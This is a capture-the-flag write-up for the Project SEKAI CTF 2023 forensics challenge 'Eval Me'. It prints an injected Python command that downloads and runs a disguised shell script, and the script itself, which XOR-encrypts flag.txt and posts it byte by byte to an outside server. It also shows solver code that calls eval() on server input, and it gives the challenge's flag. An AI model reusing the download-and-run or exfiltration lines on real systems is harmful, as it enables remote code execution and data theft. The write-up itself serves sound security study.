Post

Project SEKAI CTF 2023 - Eval Me

Description

Category: Forensic

I was trying a beginner CTF challenge and successfully solved it. But it didn’t give me the flag. Luckily I have this network capture. Can you investigate?

Author: Guesslemonger

nc chals.sekai.team 9000

capture.pcapng

Resolution

1. Network capture analysis

When we quickly browse the capture with Wireshark, we notice there are some suspicious HTTP POST requests which seems to exfiltrate data:

POST Requests

We write a Python script to extract all the exfiltrated data:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pyshark

cap = pyshark.FileCapture("/home/michel/Desktop/capture.pcapng")

data = ""

for c in cap:
    try:
        data += c.json.value_string
    except AttributeError:
        pass

print(data) # 20762001782445454615001000284b41193243004e41000b2d0542052c0b1932432d0441000b2d05422852124a1f096b4e000f

We got a hex string but we have no information about how to decrypt it.

2. Pwntools challenge

In the description of the challenge, they talk about a pwntools challenge:

1
2
3
4
5
6
7
8
$ nc chals.sekai.team 9000
Welcome to this intro pwntools challenge.
I will send you calculations and you will send me the answer
Do it 100 times within time limit and you get the flag :)

6 / 9

Too slow

The goal is to eval those expression and send the answer before the time runs out. I decided to solve it since I had no clue about what I need to do to decrypt the hex string.

Here is my code to solve it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

conn = remote("chals.sekai.team", 9000)

# Skip beginning
for _ in range(4):
    print(conn.recvuntil(b"\n"))

# Solving
for _ in range(100):
    prompt = conn.recvuntil(b"\n")
    print(prompt)
    res = eval(prompt)
    conn.sendline(str(res).encode())
    print(conn.recvline())

print(conn.recvline())

However, when I ran the code, there was a weird expression I needed to evaluate:

1
b'__import__("subprocess").check_output("(curl -sL https://shorturl.at/fgjvU -o extract.sh && chmod +x extract.sh && bash extract.sh && rm -f extract.sh)>/dev/null 2>&1||true",shell=True)\r#1 + 2\n'

The challenge did a command injection which downloads and executes a script called extract.sh.

3. Decrypt the exfiltrated data

When we navigate to the link which redirects us to https://storage.googleapis.com/sekaictf-2023/ab6a26cba39934bbe810f3718c4fa13f/kittens.png which shows us a broken PNG image. The owner of the script seems to disguise the script with a PNG image.

We download it and save it as extract.sh and here is the content of the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/bash

FLAG=$(cat flag.txt)

KEY='s3k@1_v3ry_w0w'


# Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
Asc() { printf '%d' "'$1"; }


XOREncrypt(){
    local key="$1" DataIn="$2"
    local ptr DataOut val1 val2 val3

    for (( ptr=0; ptr < ${#DataIn}; ptr++ )); do

        val1=$( Asc "${DataIn:$ptr:1}" )
        val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )

        val3=$(( val1 ^ val2 ))

        DataOut+=$(printf '%02x' "$val3")

    done

    for ((i=0;i<${#DataOut};i+=2)); do
    BYTE=${DataOut:$i:2}
    curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
    done
}

XOREncrypt $KEY $FLAG

exit 0

The script reads flag.txt, encrypts it with the key s3k@1_v3ry_w0w and exfiltrates it to a server with POST requests.

We already have the exfiltrated data and now we just need to find out how to decrypt it.

Luckily there is a credit link to the original script (https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46) which has the decrypt function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
XORDecrypt() {

    local key="$1" DataIn="$2"
    local ptr DataOut val1 val2 val3

    local ptrs
    ptrs=0

    for (( ptr=0; ptr < ${#DataIn}/2; ptr++ )); do

        val1="$( HexToDec "${DataIn:$ptrs:2}" )"
        val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )

        val3=$(( val1 ^ val2 ))

        ptrs=$((ptrs+2))

        DataOut+=$( printf \\$(printf "%o" "$val3") )

    done
    printf '%s' "$DataOut"
}

We can now decrypt the exfiltrated data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash

Asc() { printf '%d' "'$1"; }
HexToDec() { printf '%d' "0x$1"; }

XORDecrypt() {

    local key="$1" DataIn="$2"
    local ptr DataOut val1 val2 val3

    local ptrs
    ptrs=0

    for (( ptr=0; ptr < ${#DataIn}/2; ptr++ )); do

        val1="$( HexToDec "${DataIn:$ptrs:2}" )"
        val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )

        val3=$(( val1 ^ val2 ))

        ptrs=$((ptrs+2))

        DataOut+=$( printf \\$(printf "%o" "$val3") )

    done
    printf '%s' "$DataOut"
}

XORDecrypt "s3k@1_v3ry_w0w" "20762001782445454615001000284b41193243004e41000b2d0542052c0b1932432d0441000b2d05422852124a1f096b4e000f"

which gives us the flag: SEKAI{3v4l_g0_8rrrr_8rrrrrrr_8rrrrrrrrrrr_!!!_8483}.

This post is licensed under CC BY 4.0 by the author.